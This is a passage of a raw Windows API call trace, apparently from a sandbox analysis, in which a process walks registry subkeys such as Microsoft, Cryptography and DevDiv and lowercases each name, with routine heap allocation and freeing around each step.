0x18c120 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x18b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x18b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x18c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x18b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.025] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x18b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x18c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.026] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x58f728 | out: phkResult=0x58f728*=0x24) returned 0x0 [0227.026] RegCloseKey (hKey=0xa0) returned 0x0 [0227.026] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x18b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x18c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.026] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x18b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x18c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.026] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x18b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0227.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.026] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.026] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x18b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x18c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x18b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x18b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x18c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x18b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.027] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.027] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x18b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.027] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x18c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x18b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x18c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x18b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x18c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x18b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x18c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.028] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x18b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0227.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x18c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x18b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x18b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x18c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x18b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.029] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x18b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x18c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.030] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x18b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x18c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0227.030] 